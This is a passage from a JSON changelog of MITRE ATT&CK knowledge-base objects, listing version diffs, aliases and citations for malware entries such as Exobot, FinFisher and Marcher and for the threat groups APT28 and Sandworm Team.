\"https://web.archive.org/web/20231222134431/https://cofense.com/blog/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/\", \"old_value\": \"https://cofense.com/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.3" + }, + { + "type": "malware", + "id": "malware--c91cec55-634c-4670-ba10-2dc7ceb28e98", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-29 13:32:20.972000+00:00", + "modified": "2024-10-01 15:53:53.833000+00:00", + "name": "Exobot", + "description": "[Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.(Citation: Threat Fabric Exobot)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0522", + "external_id": "S0522" + }, + { + "source_name": "Threat Fabric Exobot", + "description": "Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020.", + "url": "https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Exobot" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-01 15:53:53.833000+00:00\", \"old_value\": \"2020-12-07 14:28:31.876000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Proofpoint-Marcher\", \"description\": \"Proofpoint. (2017, November 3). Credential phishing and an Android banking Trojan combine in Austrian mobile attacks. Retrieved July 6, 2018.\", \"url\": \"https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks\"}, \"root['x_mitre_aliases'][1]\": \"Marcher\"}}", + "previous_version": "1.0" + }, + { + "type": "malware", + "id": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2024-09-12 17:23:46.687000+00:00", + "name": "FinFisher", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0182", + "external_id": "S0182" + }, + { + "source_name": "FinFisher", + "description": "(Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)" + }, + { + "source_name": "FinSpy", + "description": "(Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017)" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved September 12, 2024.", + "url": "https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "FireEye FinSpy Sept 2017", + "description": "Jiang, G., et al. (2017, September 12). FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html" + }, + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "FinFisher", + "FinSpy" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Android" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 17:23:46.687000+00:00\", \"old_value\": \"2022-03-02 15:47:13.329000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"FinFisher. (n.d.). Retrieved September 12, 2024.\", \"old_value\": \"FinFisher. (n.d.). Retrieved December 20, 2017.\", \"new_path\": \"root['external_references'][5]['description']\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html\", \"old_value\": \"http://www.finfisher.com/FinFisher/index.html\", \"new_path\": \"root['external_references'][5]['url']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.4" + } + ], + "revocations": [], + "deprecations": [ + { + "type": "malware", + "id": "malware--f9854ba6-989d-43bf-828b-7240b8a65291", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-09-30 18:57:47.266000+00:00", + "name": "Marcher", + "description": "[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0317", + "external_id": "S0317" + }, + { + "source_name": "Proofpoint-Marcher", + "description": "Proofpoint. (2017, November 3). Credential phishing and an Android banking Trojan combine in Austrian mobile attacks. Retrieved July 6, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Marcher" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": true, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_aliases']\": [\"Marcher\"], \"root['x_mitre_deprecated']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 18:57:47.266000+00:00\", \"old_value\": \"2022-10-24 15:09:07.609000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}" + } + ], + "deletions": [] + }, + "groups": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:48.664000+00:00", + "modified": "2024-10-10 14:31:01.968000+00:00", + "name": "APT28", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election.(Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ", + "aliases": [ + "APT28", + "IRON TWILIGHT", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127", + "Forest Blizzard", + "FROZENLAKE" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0007", + "external_id": "G0007" + }, + { + "source_name": "SNAKEMACKEREL", + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)" + }, + { + "source_name": "Fancy Bear", + "description": "(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)" + }, + { + "source_name": "Tsar Team", + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "APT28", + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)" + }, + { + "source_name": "STRONTIUM", + "description": "(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)" + }, + { + "source_name": "FROZENLAKE", + "description": "(Citation: Leonard TAG 2023)" + }, + { + "source_name": "Forest Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "IRON TWILIGHT", + "description": "(Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)" + }, + { + "source_name": "Threat Group-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "TG-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "Pawn Storm", + "description": "(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) " + }, + { + "source_name": "Swallowtail", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "Group 74", + "description": "(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "Leonard TAG 2023", + "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", + "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/" + }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "url": "https://www.justice.gov/opa/page/file/1098481/download" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Ars Technica GRU indictment Jul 2018", + "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.", + "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/" + }, + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021", + "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.", + "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF" + }, + { + "source_name": "NSA/FBI Drovorub August 2020", + "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020.", + "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF" + }, + { + "source_name": "SecureWorks TG-4127", + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + }, + { + "source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", + "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.", + "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures" + }, + { + "source_name": "Secureworks IRON TWILIGHT Profile", + "description": "Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-twilight" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "source_name": "Sednit", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)" + }, + { + "source_name": "Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "S\u00e9bastien Ruel, CGI", + "Drew Church, Splunk", + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "5.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 14:31:01.968000+00:00\", \"old_value\": \"2024-04-04 19:07:48.903000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"5.1\", \"old_value\": \"5.0\"}}}", + "previous_version": "5.0", + "version_change": "5.0 \u2192 5.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:04.588000+00:00", + "modified": "2024-09-12 17:37:44.040000+00:00", + "name": "Sandworm Team", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", + "aliases": [ + "Sandworm Team", + "ELECTRUM", + "Telebots", + "IRON VIKING", + "BlackEnergy (Group)", + "Quedagh", + "Voodoo Bear", + "IRIDIUM", + "Seashell Blizzard", + "FROZENBARENTS", + "APT44" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0034", + "external_id": "G0034" + }, + { + "source_name": "Voodoo Bear", + "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "ELECTRUM", + "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Sandworm Team", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Quedagh", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "FROZENBARENTS", + "description": "(Citation: Leonard TAG 2023)" + }, + { + "source_name": "APT44", + "description": "(Citation: mandiant_apt44_unearthing_sandworm)" + }, + { + "source_name": "IRIDIUM", + "description": "(Citation: Microsoft Prestige ransomware October 2022)" + }, + { + "source_name": "Seashell Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "BlackEnergy (Group)", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Telebots", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "IRON VIKING", + "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Leonard TAG 2023", + "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", + "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/" + }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "url": "https://www.justice.gov/opa/page/file/1098481/download" + }, + { + "source_name": "Dragos ELECTRUM", + "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", + "url": "https://www.dragos.com/resource/electrum/" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "CrowdStrike VOODOO BEAR", + "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Prestige ransomware October 2022", + "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + }, + { + "source_name": "InfoSecurity Sandworm Oct 2014", + "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", + "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + }, + { + "source_name": "NCSC Sandworm Feb 2020", + "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", + "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory" + }, + { + "source_name": "USDOJ Sandworm Feb 2020", + "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.", + "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html" + }, + { + "source_name": "mandiant_apt44_unearthing_sandworm", + "description": "Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.", + "url": "https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download" + }, + { + "source_name": "Secureworks IRON VIKING ", + "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-viking" + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dragos Threat Intelligence", + "Hakan KARABACAK" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": 